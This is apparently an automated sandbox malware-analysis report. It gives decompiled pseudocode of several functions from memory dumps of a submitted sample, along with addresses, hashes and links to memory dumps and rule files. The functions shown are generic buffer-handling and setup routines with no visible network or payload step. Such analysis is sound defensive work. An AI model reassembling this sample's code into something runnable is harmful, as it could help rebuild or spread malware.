0x00243d98
0x00243d6d
0x00243d7a
0x00243d86
0x00243d8b
0x00243d8d
0x00243d91
0x00243d91
0x00243d8d
0x00243d9a
0x00243da0
0x00243da6
0x00000000
0x00243da8
0x00243c40
0x00243c46
0x00243c4c
0x00000000
0x00000000
0x00243c75
0x00243c7e
0x00243c7e
0x00243c95
0x00000000
0x00243c95
0x00243be5
0x00243beb
0x00243c0b
0x00243c0b
0x00243c0d
0x00243c20
0x00243c33
0x00243c0f
0x00243c0f
0x00243c0f
0x00000000
0x00243c0d
0x00243bed
0x00243bfb
0x00243c01
0x00000000
0x00243c01
0x00243bef
0x00243bf9
0x00000000
0x00000000
0x00000000
0x00243bf9
0x00243b9c
0x00243ba2
0x00000000
0x00243ba4
0x00243ba4
0x00000000
0x00243ba4
0x00243b46
0x00243b4c
0x00243b58
0x00243db6
0x00243db6
0x00243db8
0x00243dbc
0x00243dc6
0x00243dc6

APIs

__EH_prolog.LIBCMT ref: 00243B2B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 3f00470b6181b69efe4803a2e6179e39b1a9a4fea736a1c5d8631b2465b8cb74
Instruction ID: a7e60c0113e59132c420df8596ffe4dab645db1017e094239768566ea6c2a8fd
Opcode Fuzzy Hash: 3f00470b6181b69efe4803a2e6179e39b1a9a4fea736a1c5d8631b2465b8cb74
Instruction Fuzzy Hash: 7771F171424F45AEDB29DF34CC81AEBB7E8AF15301F40496EE5AB87142D7316A68CF11

Uniqueness

Uniqueness Score: -1.00%

Function 00248329 Relevance: 1.6, APIs: 1, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00248329(void* __ebx, intOrPtr __ecx, void* __edx, void* __edi, void* __eflags) {
				void* __esi;
				void* _t47;
				signed int _t50;
				signed int _t51;
				void* _t53;
				signed int _t55;
				signed int _t61;
				intOrPtr _t73;
				signed int _t80;
				void* _t88;
				void* _t89;
				void* _t91;
				intOrPtr _t93;
				void* _t95;
				void* _t98;

				_t98 = __eflags;
				_t90 = __edi;
				_t88 = __edx;
				_t73 = __ecx;
				E0025E0E4(E00271C6A, _t95);
				E0025E1C0();
				_t93 = _t73;
				_t1 = _t95 - 0x9d58; // -38232
				E002413B1(_t1, _t88, __edi, _t98,  *(_t93 + 8));
				 *(_t95 - 4) =  *(_t95 - 4) & 0x00000000;
				_t6 = _t95 - 0x9d58; // -38232
				if(E00249E37(_t6, __edi, _t93, _t93 + 0xf4) != 0) {
					_t7 = _t95 - 0x9d58; // -38232, executed
					_t47 = E002419D6(_t7, _t88, 1); // executed
					if(_t47 != 0) {
						__eflags =  *((char*)(_t95 - 0x3093));
						if( *((char*)(_t95 - 0x3093)) == 0) {
							_push(__edi);
							_t91 = 0;
							__eflags =  *(_t95 - 0x30a3);
							if( *(_t95 - 0x30a3) != 0) {
								_t10 = _t95 - 0x9d3a; // -38202
								_t11 = _t95 - 0x1010; // -2064
								_t61 = E0024FD96(_t11, _t10, 0x800);
								__eflags =  *(_t95 - 0x309e);
								while(1) {
									_t17 = _t95 - 0x1010; // -2064
									E0024BA04(_t17, 0x800, (_t61 & 0xffffff00 | __eflags == 0x00000000) & 0x000000ff);
									_t18 = _t95 - 0x2058; // -6232
									E00247098(_t18);
									_push(0);
									_t19 = _t95 - 0x2058; // -6232
									_t20 = _t95 - 0x1010; // -2064
									_t61 = E0024A406(_t18, _t88, __eflags, _t20, _t19);
									__eflags = _t61;
									if(_t61 == 0) {
										break;
									}
									_t91 = _t91 +  *((intOrPtr*)(_t95 - 0x1058));
									asm("adc ebx, [ebp-0x1054]");
									__eflags =  *(_t95 - 0x309e);
								}
								 *((intOrPtr*)(_t93 + 0x98)) =  *((intOrPtr*)(_t93 + 0x98)) + _t91;
								asm("adc [esi+0x9c], ebx");
							}
							_t23 = _t95 - 0x9d58; // -38232
							E002484C1(_t93, _t88, _t23);
							_t50 =  *(_t93 + 8);
							_t89 = 0x49;
							_pop(_t90);
							_t80 =  *(_t50 + 0x82f2) & 0x0000ffff;
							__eflags = _t80 - 0x54;
							if(_t80 == 0x54) {
								L11:
								 *((char*)(_t50 + 0x61f9)) = 1;
							} else {
								__eflags = _t80 - _t89;
								if(_t80 == _t89) {
									goto L11;
								}
							}
							_t51 =  *(_t93 + 8);
							__eflags =  *((intOrPtr*)(_t51 + 0x82f2)) - _t89;
							if( *((intOrPtr*)(_t51 + 0x82f2)) != _t89) {
								__eflags =  *((char*)(_t51 + 0x61f9));
								_t32 =  *((char*)(_t51 + 0x61f9)) == 0;
								__eflags =  *((char*)(_t51 + 0x61f9)) == 0;
								E002512B5((_t51 & 0xffffff00 | _t32) & 0x000000ff, (_t51 & 0xffffff00 | _t32) & 0x000000ff, _t93 + 0xf4);
							}
							_t33 = _t95 - 0x9d58; // -38232
							E00241F30(_t33, _t89);
							do {
								_t34 = _t95 - 0x9d58; // -38232
								_t53 = E00243A95(_t34, _t89, _t93);
								_t35 = _t95 - 0xd; // 0x7f3
								_t36 = _t95 - 0x9d58; // -38232
								_t55 = E00248525(_t93, _t36, _t53, _t35); // executed
								__eflags = _t55;
							} while (_t55 != 0);
						}
					} else {
						E00246F5B(0x27ff50, 1);
					}
				}
				_t37 = _t95 - 0x9d58; // -38232, executed
				E00241662(_t37, _t90, _t93); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t95 - 0xc));
				return 0;
			}

0x00248329
0x00248329
0x00248329
0x00248329
0x0024832e
0x00248338
0x0024833e
0x00248340
0x00248349
0x0024834e
0x00248359
0x00248366
0x0024836e
0x00248374
0x0024837b
0x0024838e
0x00248395
0x0024839c
0x0024839f
0x002483a1
0x002483a7
0x002483ae
0x002483b5
0x002483bc
0x002483c1
0x002483dc
0x002483e8
0x002483ef
0x002483f4
0x002483fa
0x002483ff
0x00248401
0x00248408
0x0024840f
0x00248414
0x00248416
0x00000000
0x00000000
0x002483c9
0x002483cf
0x002483d5
0x002483d5
0x00248418
0x0024841e
0x0024841e
0x00248424
0x0024842d
0x00248432
0x00248437
0x00248438
0x00248439
0x00248441
0x00248444
0x0024844b
0x0024844b
0x00248446
0x00248446
0x00248449
0x00000000
0x00000000
0x00248449
0x00248452
0x00248455
0x0024845c
0x0024845e
0x0024846c
0x0024846c
0x00248473
0x00248473
0x00248478
0x0024847e
0x00248483
0x00248483
0x00248489
0x0024848e
0x00248493
0x0024849c
0x002484a1
0x002484a1
0x00248483
0x0024837d
0x00248384
0x00248384
0x0024837b
0x002484a5
0x002484ab
0x002484b6
0x002484c0

APIs

__EH_prolog.LIBCMT ref: 0024832E

Part of subcall function 002413B1: __EH_prolog.LIBCMT ref: 002413B6
Part of subcall function 002413B1: new.LIBCMT ref: 0024142F

Part of subcall function 002419D6: __EH_prolog.LIBCMT ref: 002419DB

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 1e48f4ccd76fc34ea6c9fe28a00fa765f16cc4c05ea3dc835a3aab67223d76a2
Instruction ID: 3248c2c18cc4aa8228b15f993f2ac5f2688bcaf8d0516de055c67364bb5552d6
Opcode Fuzzy Hash: 1e48f4ccd76fc34ea6c9fe28a00fa765f16cc4c05ea3dc835a3aab67223d76a2
Instruction Fuzzy Hash: ED41B1318706699ADB28EB60CC55BEE77B8AF10300F0540EAE58A97093DF745EE8DF10

Uniqueness

Uniqueness Score: -1.00%

Function 00252DDD Relevance: 1.6, APIs: 1, Instructions: 90
COMMON

Download Yara Rule

C-Code - Quality: 72%

			E00252DDD(void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				void* _t29;
				signed int _t30;
				signed int* _t36;
				signed int _t38;
				intOrPtr _t39;
				intOrPtr _t42;
				signed int _t44;
				void* _t47;
				void* _t48;
				void* _t56;
				void* _t60;
				signed int _t65;
				void* _t67;
				void* _t69;
				void* _t73;

				_t56 = __edx;
				_t48 = __ecx;
				_t29 = E0025E0E4(E00271E1E, _t67);
				_push(_t48);
				_push(_t48);
				_t60 = _t48;
				_t44 = 0;
				_t72 =  *((intOrPtr*)(_t60 + 0x20));
				if( *((intOrPtr*)(_t60 + 0x20)) == 0) {
					_push(0x400400); // executed
					_t42 = E0025E383(_t48, _t56, 0x400400, _t72); // executed
					 *((intOrPtr*)(_t60 + 0x20)) = _t42;
					_t29 = E0025F1A0(_t60, _t42, 0, 0x400400);
					_t69 = _t69 + 0x10;
				}
				_t73 =  *(_t60 + 0x18) - _t44;
				if(_t73 == 0) {
					_t65 =  *((intOrPtr*)(_t60 + 0x1c)) +  *((intOrPtr*)(_t60 + 0x1c));
					_t30 = _t65;
					 *(_t67 - 0x10) = _t65;
					_t58 = _t30 * 0x4ae4 >> 0x20;
					_push( ~(0 | _t73 > 0x00000000) | ( ~(_t73 > 0) | _t30 * 0x00004ae4) + 0x00000004); // executed
					_t36 = E0025E383(( ~(_t73 > 0) | _t30 * 0x00004ae4) + 4, _t30 * 0x4ae4 >> 0x20, _t65, _t73); // executed
					_pop(0x27ff50);
					 *(_t67 - 0x14) = _t36;
					 *(_t67 - 4) = _t44;
					_t74 = _t36;
					if(_t36 != 0) {
						_push(E00251AF0);
						_push(E00251910);
						_push(_t65);
						_t16 =  &(_t36[1]); // 0x4
						_t44 = _t16;
						 *_t36 = _t65;
						_push(0x4ae4);
						_push(_t44);
						E0025E1ED(_t58, _t74);
					}
					 *(_t67 - 4) =  *(_t67 - 4) | 0xffffffff;
					 *(_t60 + 0x18) = _t44;
					_t29 = E0025F1A0(_t60, _t44, 0, _t65 * 0x4ae4);
					if(_t65 != 0) {
						_t38 = 0;
						 *(_t67 - 0x10) = 0;
						do {
							_t47 =  *(_t60 + 0x18) + _t38;
							if( *((intOrPtr*)(_t47 + 0x4ad4)) == 0) {
								 *((intOrPtr*)(_t47 + 0x4adc)) = 0x4100;
								_t39 = E00263413(0x27ff50); // executed
								 *((intOrPtr*)(_t47 + 0x4ad4)) = _t39;
								0x27ff50 = 0x30c00;
								if(_t39 == 0) {
									E00246E92(0x27ff50);
								}
								_t38 =  *(_t67 - 0x10);
							}
							_t38 = _t38 + 0x4ae4;
							 *(_t67 - 0x10) = _t38;
							_t65 = _t65 - 1;
						} while (_t65 != 0);
					}
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t67 - 0xc));
				return _t29;
			}

0x00252ddd
0x00252ddd
0x00252de2
0x00252de7
0x00252de8
0x00252dec
0x00252dee
0x00252df0
0x00252df3
0x00252dfa
0x00252dfb
0x00252e03
0x00252e06
0x00252e0b
0x00252e0b
0x00252e0e
0x00252e11
0x00252e1c
0x00252e23
0x00252e25
0x00252e28
0x00252e3d
0x00252e3e
0x00252e43
0x00252e44
0x00252e47
0x00252e4a
0x00252e4c
0x00252e4e
0x00252e53
0x00252e58
0x00252e59
0x00252e59
0x00252e5c
0x00252e5e
0x00252e63
0x00252e64
0x00252e64
0x00252e69
0x00252e73
0x00252e7a
0x00252e84
0x00252e86
0x00252e88
0x00252e8b
0x00252e8e
0x00252e97
0x00252e9e
0x00252ea8
0x00252ead
0x00252eb3
0x00252eb6
0x00252ebd
0x00252ebd
0x00252ec2
0x00252ec2
0x00252ec5
0x00252eca
0x00252ecd
0x00252ecd
0x00252e8b
0x00252e84
0x00252ed8
0x00252ee2

APIs

__EH_prolog.LIBCMT ref: 00252DE2

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 715f820030afb1870a6421416011f7bfb07126a2ef85641c41f267c77530e447
Instruction ID: 5117d85dce6f8fcf0ff39dce1c02dff0048b87f63af406990c22d469553c6d8b
Opcode Fuzzy Hash: 715f820030afb1870a6421416011f7bfb07126a2ef85641c41f267c77530e447
Instruction Fuzzy Hash: F621E6B1E60216ABDB14DF74DC4266A7668EF05315F00413AED09EB681D770A938CAEC

Uniqueness

Uniqueness Score: -1.00%

Function 00241E30 Relevance: 1.6, APIs: 1, Instructions: 76
COMMON

Download Yara Rule

C-Code - Quality: 89%

			E00241E30(intOrPtr __ecx, void* __edx, void* __edi, void* __esi) {
				void* _t34;
				intOrPtr _t41;
				intOrPtr _t51;
				void* _t62;
				unsigned int _t64;
				signed int _t66;
				intOrPtr* _t68;
				void* _t70;

				_t62 = __edx;
				_t51 = __ecx;
				E0025E0E4(E00271B0B, _t70);
				_t49 = 0;
				 *((intOrPtr*)(_t70 - 0x10)) = _t51;
				 *((intOrPtr*)(_t70 - 0x24)) = 0;
				 *(_t70 - 0x20) = 0;
				 *((intOrPtr*)(_t70 - 0x1c)) = 0;
				 *((intOrPtr*)(_t70 - 0x18)) = 0;
				 *((char*)(_t70 - 0x14)) = 0;
				 *((intOrPtr*)(_t70 - 4)) = 0;
				_t34 = E00243B26(_t51, _t62, _t70 - 0x24, 0, 0); // executed
				if(_t34 != 0) {
					_t64 =  *(_t70 - 0x20);
					E00241702(_t70 - 0x24, _t62, 1);
					_t68 =  *((intOrPtr*)(_t70 + 8));
					 *((char*)( *(_t70 - 0x20) +  *((intOrPtr*)(_t70 - 0x24)) - 1)) = 0;
					_t16 = _t64 + 1; // 0x1
					E00241879(_t68, _t16);
					_t41 =  *((intOrPtr*)(_t70 - 0x10));
					if( *((intOrPtr*)(_t41 + 0x6cb0)) != 3) {
						if(( *(_t41 + 0x45f4) & 0x00000001) == 0) {
							E002512D6( *((intOrPtr*)(_t70 - 0x24)),  *_t68,  *((intOrPtr*)(_t68 + 4)));
						} else {
							_t66 = _t64 >> 1;
							E00251351( *((intOrPtr*)(_t70 - 0x24)),  *_t68, _t66);
							 *((short*)( *_t68 + _t66 * 2)) = 0;
						}
					} else {
						_push( *((intOrPtr*)(_t68 + 4)));
						_push( *_t68);
						_push( *((intOrPtr*)(_t70 - 0x24)));
						E0025138C();
					}
					E00241879(_t68, E002633F3( *_t68));
					_t49 = 1;
				}
				E002415D1(_t70 - 0x24);
				 *[fs:0x0] =  *((intOrPtr*)(_t70 - 0xc));
				return _t49;
			}

0x00241e30
0x00241e30
0x00241e35
0x00241e3e
0x00241e42
0x00241e45
0x00241e48
0x00241e4b
0x00241e4e
0x00241e51
0x00241e59
0x00241e5f
0x00241e66
0x00241e6e
0x00241e76
0x00241e81
0x00241e84
0x00241e88
0x00241e8e
0x00241e93
0x00241e9d
0x00241eb5
0x00241ed6
0x00241eb7
0x00241eb7
0x00241ebf
0x00241ec8
0x00241ec8
0x00241e9f
0x00241e9f
0x00241ea2
0x00241ea4
0x00241ea7
0x00241ea7
0x00241ee6
0x00241eec
0x00241eee
0x00241ef2
0x00241efd
0x00241f07

APIs

__EH_prolog.LIBCMT ref: 00241E35

Part of subcall function 00243B26: __EH_prolog.LIBCMT ref: 00243B2B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 7c54549a2088500b52ab195f2088486e874dad6e0e0170560f2ffcb51c1d6b7f
Instruction ID: f1faf342382fe12ab7906134c979395251f4a42acff9919c27ad0cdd019cd6fb
Opcode Fuzzy Hash: 7c54549a2088500b52ab195f2088486e874dad6e0e0170560f2ffcb51c1d6b7f
Instruction Fuzzy Hash: 22213C75A141099FCB15DF99C951AEDFBF5BF48300B1000AAE845A7251DB325E74CF64

Uniqueness

Uniqueness Score: -1.00%

Function 0025A712 Relevance: 1.6, APIs: 1, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0025A712(void* __ecx, void* __edx, void* __eflags) {
				void* __edi;
				void* __esi;
				short _t33;
				char _t36;
				void* _t47;
				short _t55;
				void* _t57;
				void* _t58;
				short _t60;
				void* _t62;
				intOrPtr _t64;
				void* _t67;

				_t67 = __eflags;
				_t57 = __edx;
				_t47 = __ecx;
				E0025E0E4(E00271E69, _t62);
				_push(_t47);
				E0025E1C0();
				_push(_t60);
				_push(_t58);
				 *((intOrPtr*)(_t62 - 0x10)) = _t64;
				 *((intOrPtr*)(_t62 - 4)) = 0;
				E002413B1(_t62 - 0x7d24, _t57, _t58, _t67, 0); // executed
				 *((char*)(_t62 - 4)) = 1;
				E00241F7F(_t62 - 0x7d24, _t57, _t60, _t62, _t67,  *((intOrPtr*)(_t62 + 0xc)));
				if( *((intOrPtr*)(_t62 - 0x105f)) == 0) {
					 *((intOrPtr*)(_t62 - 0x24)) = 0;
					 *((intOrPtr*)(_t62 - 0x20)) = 0;
					 *((intOrPtr*)(_t62 - 0x1c)) = 0;
					 *((intOrPtr*)(_t62 - 0x18)) = 0;
					 *((char*)(_t62 - 0x14)) = 0;
					 *((char*)(_t62 - 4)) = 2;
					_push(_t62 - 0x24);
					_t50 = _t62 - 0x7d24;
					_t33 = E00241981(_t62 - 0x7d24, _t57);
					__eflags = _t33;
					if(_t33 != 0) {
						_t60 =  *((intOrPtr*)(_t62 - 0x20));
						_t58 = _t60 + _t60;
						_push(_t58 + 2);
						_t55 = E00263413(_t50);
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x10)))) = _t55;
						__eflags = _t55;
						if(_t55 != 0) {
							__eflags = 0;
							 *((short*)(_t58 + _t55)) = 0;
							E0025F300(_t55,  *((intOrPtr*)(_t62 - 0x24)), _t58);
						} else {
							_t60 = 0;
						}
						 *((intOrPtr*)( *((intOrPtr*)(_t62 + 0x14)))) = _t60;
					}
					E00241618(_t62 - 0x24);
					E00241662(_t62 - 0x7d24, _t58, _t60); // executed
					_t36 = 1;
				} else {
					E00241662(_t62 - 0x7d24, _t58, _t60);
					_t36 = 0;
				}
				 *[fs:0x0] =  *((intOrPtr*)(_t62 - 0xc));
				return _t36;
			}

0x0025a712
0x0025a712
0x0025a712
0x0025a717
0x0025a71c
0x0025a722
0x0025a728
0x0025a729
0x0025a72c
0x0025a736
0x0025a739
0x0025a747
0x0025a74b
0x0025a756
0x0025a767
0x0025a76a
0x0025a76d
0x0025a770
0x0025a773
0x0025a779
0x0025a77d
0x0025a77e
0x0025a784
0x0025a789
0x0025a78b
0x0025a78d
0x0025a790
0x0025a796
0x0025a79d
0x0025a7a2
0x0025a7a4
0x0025a7a6
0x0025a7ac
0x0025a7af
0x0025a7b7
0x0025a7a8
0x0025a7a8
0x0025a7a8
0x0025a7c2
0x0025a7c2
0x0025a7c7
0x0025a7d2
0x0025a7d7
0x0025a758
0x0025a75e
0x0025a763
0x0025a763
0x0025a7de
0x0025a7e9

APIs

__EH_prolog.LIBCMT ref: 0025A717

Part of subcall function 002413B1: __EH_prolog.LIBCMT ref: 002413B6
Part of subcall function 002413B1: new.LIBCMT ref: 0024142F

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 8ee606b85b63432acfbe5fb3cbe919177a67eca4da5bb95e87241c0fc573d669
Instruction ID: f6af826e34ef8fc0ba673f4358ad6f0260202a5062be086bbf4cd000e899b8b0
Opcode Fuzzy Hash: 8ee606b85b63432acfbe5fb3cbe919177a67eca4da5bb95e87241c0fc573d669
Instruction Fuzzy Hash: 4B217C71C24249AECF15DF94C9529EEF7B8AF18300F0005EEE809A3242D7356E69DF65

Uniqueness

Uniqueness Score: -1.00%

Function 00249283 Relevance: 1.6, APIs: 1, Instructions: 55
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E00249283(void* __ebx, void* __edx, void* __edi, void* __eflags) {
				void* _t21;
				intOrPtr _t22;
				intOrPtr _t27;
				void* _t35;
				intOrPtr _t37;
				intOrPtr _t40;
				void* _t42;
				void* _t49;

				_t35 = __edx;
				E0025E0E4(E00271D77, _t42);
				E00247076(_t42 - 0x20, E00247D9F());
				 *(_t42 - 4) =  *(_t42 - 4) & 0x00000000;
				_t40 = E0024C9AC( *((intOrPtr*)(_t42 + 8)),  *((intOrPtr*)(_t42 - 0x20)),  *((intOrPtr*)(_t42 - 0x1c)));
				if(_t40 > 0) {
					_t27 =  *((intOrPtr*)(_t42 + 0x10));
					_t37 =  *((intOrPtr*)(_t42 + 0xc));
					do {
						_t22 = _t40;
						asm("cdq");
						_t49 = _t35 - _t27;
						if(_t49 > 0 || _t49 >= 0 && _t22 >= _t37) {
							_t40 = _t37;
						}
						if(_t40 > 0) {
							E0024CB91( *((intOrPtr*)(_t42 + 8)), _t42,  *((intOrPtr*)(_t42 - 0x20)), _t40);
							asm("cdq");
							_t37 = _t37 - _t40;
							asm("sbb ebx, edx");
						}
						_t40 = E0024C9AC( *((intOrPtr*)(_t42 + 8)),  *((intOrPtr*)(_t42 - 0x20)),  *((intOrPtr*)(_t42 - 0x1c)));
					} while (_t40 > 0);
				}
				_t21 = E002415D1(_t42 - 0x20); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t42 - 0xc));
				return _t21;
			}

0x00249283
0x00249288
0x0024929a
0x002492a8
0x002492b1
0x002492b5
0x002492b8
0x002492bc
0x002492bf
0x002492bf
0x002492c1
0x002492c2
0x002492c4
0x002492cc
0x002492cc
0x002492d0
0x002492d9
0x002492e0
0x002492e1
0x002492e3
0x002492e3
0x002492f3
0x002492f5
0x002492fa
0x002492fe
0x00249307
0x00249311

APIs

__EH_prolog.LIBCMT ref: 00249288

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304211712.00000000002A1000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.305365188.00000000002C2000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_240000_WsiysHggF9.jbxd

Similarity

API ID: H_prolog
String ID:
API String ID: 3519838083-0
Opcode ID: 47a68651f5ed77b3ef6f01ae585871b3546df3ffb4241b193238e629329f6718
Instruction ID: 48cf5262d26c3c347f2143b4a4fb66e01466f653dd1119afc66c4ad4c2aa3ee9
Opcode Fuzzy Hash: 47a68651f5ed77b3ef6f01ae585871b3546df3ffb4241b193238e629329f6718
Instruction Fuzzy Hash: C7118273921529ABCF29EFA8CC819EEB735BF88700F044515FC0567251CB718D60CAA0

Uniqueness

Uniqueness Score: -1.00%

Function 0025CF72 Relevance: 1.6, APIs: 1, Instructions: 54
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0025CF72(void* __ecx, void* __eflags) {
				void* __ebx;
				intOrPtr _t18;
				char _t19;
				char _t20;
				void* _t23;
				void* _t24;
				void* _t26;
				void* _t37;
				void* _t43;
				intOrPtr _t45;

				_t26 = __ecx;
				E0025E0E4(E00271EA8, _t43);
				_push(_t26);
				E0025E1C0();
				_push(_t24);
				 *((intOrPtr*)(_t43 - 0x10)) = _t45;
				E00265646(0x29386a, "X");
				E0024FDED(0x29588c, _t37, 0x2725b0);
				E00265646(0x29488a,  *((intOrPtr*)(_t43 + 0xc)));
				E00245C29(0x28b578, _t37,  *((intOrPtr*)(_t43 + 0xc)));
				_t4 = _t43 - 4;
				 *(_t43 - 4) =  *(_t43 - 4) & 0x00000000;
				_t18 = 2;
				 *0x292848 = _t18;
				 *0x292844 = _t18;
				 *0x292840 = _t18;
				_t19 =  *0x287444; // 0x0
				 *0x2916cb = _t19;
				_t20 =  *0x287445; // 0x1
				 *0x291704 = 1;
				 *0x291707 = 1;
				 *0x2916cc = _t20;
				E00247C41(_t43 - 0x2108, _t37,  *_t4, 0x28b578);
				 *(_t43 - 4) = 1;
				E00247DB8(_t43 - 0x2108, _t37,  *_t4);
				_t23 = E00247CD4(_t24, _t43 - 0x2108, _t37); // executed
				 *[fs:0x0] =  *((intOrPtr*)(_t43 - 0xc));
				return _t23;
			}

0x0025cf72
0x0025cf77
0x0025cf7c
0x0025cf82
0x0025cf87
0x0025cf8a
0x0025cf97
0x0025cfa8
0x0025cfb5
0x0025cfc6
0x0025cfcb
0x0025cfcb
0x0025cfd7
0x0025cfd8
0x0025cfdd
0x0025cfe2
0x0025cfe7
0x0025cfec
0x0025cff1
0x0025cff7
0x0025cffe
0x0025d005
0x0025d00a
0x0025d015
0x0025d019
0x0025d024
0x0025d02e
0x0025d039

APIs

__EH_prolog.LIBCMT ref: 0025CF77

Part of subcall function 00247C41: __EH_prolog.LIBCMT ref: 00247C46
Part of subcall function 00247C41: new.LIBCMT ref: 00247C8B

Memory Dump Source

Source File: 00000000.00000002.303950939.0000000000241000.00000020.00000001.01000000.00000003.sdmp, Offset: 00240000, based on PE: true

Associated: 00000000.00000002.303946555.0000000000240000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303976798.0000000000272000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.303988557.000000000027D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304183710.0000000000283000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.304204730.00000000002A0000.00000004.00000001.01000000.00000003.sdmpDownload File
